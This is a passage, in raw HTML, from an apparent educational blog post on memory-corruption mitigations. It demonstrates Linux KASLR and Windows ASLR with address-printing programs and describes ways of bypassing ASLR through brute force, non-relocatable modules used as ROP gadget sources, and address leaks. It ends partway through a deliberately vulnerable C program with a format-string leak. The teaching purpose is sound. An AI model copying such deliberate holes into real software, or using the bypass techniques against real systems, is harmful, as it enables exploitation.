style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">200</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, GFP_ATOMIC);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; printk(KERN_INFO </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;Module loaded.\n&quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; printk(KERN_INFO </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;bss section address 0x%lx!\n&quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, &amp;kernel_bss);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; printk(KERN_INFO </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;rodata section address 0x%lx!\n&quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, &amp;kernel_rodata);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; printk(KERN_INFO </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;Stack variable address is 0x%lx!\n&quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, &amp;stack_var);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; printk(KERN_INFO </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;text section address 0x%lx!\n&quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, &amp;my_init);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; printk(KERN_INFO </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;vmalloc slab address 0x%lx!\n&quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, buf);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">return</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">0</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">}</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">static</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">void</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">my_exit</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">void</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">)</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">{</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; printk(KERN_INFO </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;Module unloaded.\n&quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">return</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">}</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">module_init(my_init);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">module_exit(my_exit);</span></p></td></tr></tbody></table><!--kg-card-end: html--><p><br></p><p>Below is the <em>dmesg </em>output:<br></p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/1b5gFJLpvkncCNGj7-ZNDt_8m8NqSWsdJgDkoCh80iYI4Eirp31QcVX7eVbruaYjrhyfpq_JAdlynzTR7IIqk_n6PNOupPelXIEhijI7iCuj0xI--jHdTa97SQ91AFX2EDhw2WdK4RMQTryQW3oggzU" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 2" loading="lazy" width="624" height="496"></figure><p>You will notice that only the stack and heap is randomized. Other sections like <em>.rodata</em> and .<em>text</em> are not randomized since the module is loaded unloaded frequently, &#xA0;hence &#xA0;getting the same address each loading. But on reboot, you will notice the different address assign to those as well.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/m7sCVgvqgsibmYx-jVSaunQwHRVRXQLZcVElwBdsPw6FV4saror1DBLEUWbF8N06-AlmVuswX30kKbUNnLuLNP4Au0xmCzSYkzQIW6VaxWnfv7mIEeB-4IhrpH6FRJHwPnKYdKu2FENap8jEuZiNtj8" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 2" loading="lazy" width="602" height="121"></figure><p>Other observation you will notice for KASLR is that the randomization of address is very less. Only the base addresses of sections are changing but the offsets are pretty much the same.</p><h5 id="aslr-in-windows">ASLR in windows</h5><p>Let&#x2019;s compile the &#xA0;above program in Visual Studio 2022 in windows 11 and verify the output:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/_d_h4PX10IbsJQGz9WeToHrFkn5b05CHD7cZMpDxBksDSBNA3pOZdzZ4aYF3w8W6Qv__GnuedXWUslhs9K_9xqCEMuTo6jFNDLvkzgLz1ruKRzIR0VsGqCk0MZ4QpJ52DWlNNF7OWhG2ti5N4S_Lqfw" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 2" loading="lazy" width="624" height="381"></figure><p>One may observe that, in addition to the heap and stack, all other variables are located at a fixed address. This suggests that the design of Windows Address Space Layout Randomization (ASLR) takes into consideration the fact that the majority of buffer overflow exploits involve shellcode in the heap and stack, thus necessitating randomization. In order to minimize the overhead of randomization, it is not applied to the remaining sections of the process memory.</p><p>We will skip the part of verifying ASLR in windows kernel for now but it can be easily looked with windbg !address extension used with kernel debugger attached.</p><h5 id="limitation-of-aslr">Limitation of ASLR</h5><p><strong>Address brute force due to Low entropy</strong></p><p>The quality of mitigation provided by ASLR depends on the randomization of the different address spaces in process memory. ASLR is implemented in almost all types of operating systems but has different levels of randomization for different address spaces. Even from the above ASLR POCs, you will notice that the randomization level in windows is quite low compared to linux. Due to less randomization, it became very easy for attackers to guess the address where shellcode or gadgets reside. Moreover, &#xA0;most ASLR implementations have only a few bytes to randomize and keep base address or certain MSB bytes same.</p><p>You can easily look for &#xA0;lots of writeups and project to bypass ASLR by bruteforcing the address.</p><p><strong>Having a module loaded with no ASLR support</strong></p><p>In the Linux operating system, the binaries are constructed by default with the<em> -fPIC</em> compiler option in gcc. This particular option indicates that the resulting code will possess the necessary functionalities to enable relocation. This is an essential prerequisite for Address Space Layout Randomization (ASLR) to be operational within the binaries&apos; address space. In the event that the binary is not compiled with this option, or if it is explicitly stated that the binary or library does not support relocation, different addresses of different sections at which the binary or library is loaded into memory will remain consistent on each execution.</p><p>Sometimes when a binary itself is fully ASLR compatible, it may have &#xA0;a module/dll loaded that doesn&#x2019;t support the randomization. In those cases, an attacker can try to find ROP gadgets in that unsupported ASLR binary for successful shellcode execution.</p><p><strong>Memory address leak</strong></p><p>The primary adversary encountered by any ASLR implementation is the exposure of addresses to the user. It can be understood using below case:</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#333333;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#include &lt;stdio.h&gt;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#include &lt;stdlib.h&gt;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">main</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> argc, </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">char</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">** argv) {</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> secret = </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">42</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">char</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> username[</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">100</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">];</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">char</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> buffer[</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">100</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">];</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Prompt the user for input</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">printf</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;Enter a string: &quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; fflush(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">stdout</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; fgets(buffer, </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">100</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">stdin</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Use the format string vulnerability to leak the address of the username variable </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">printf</span><span 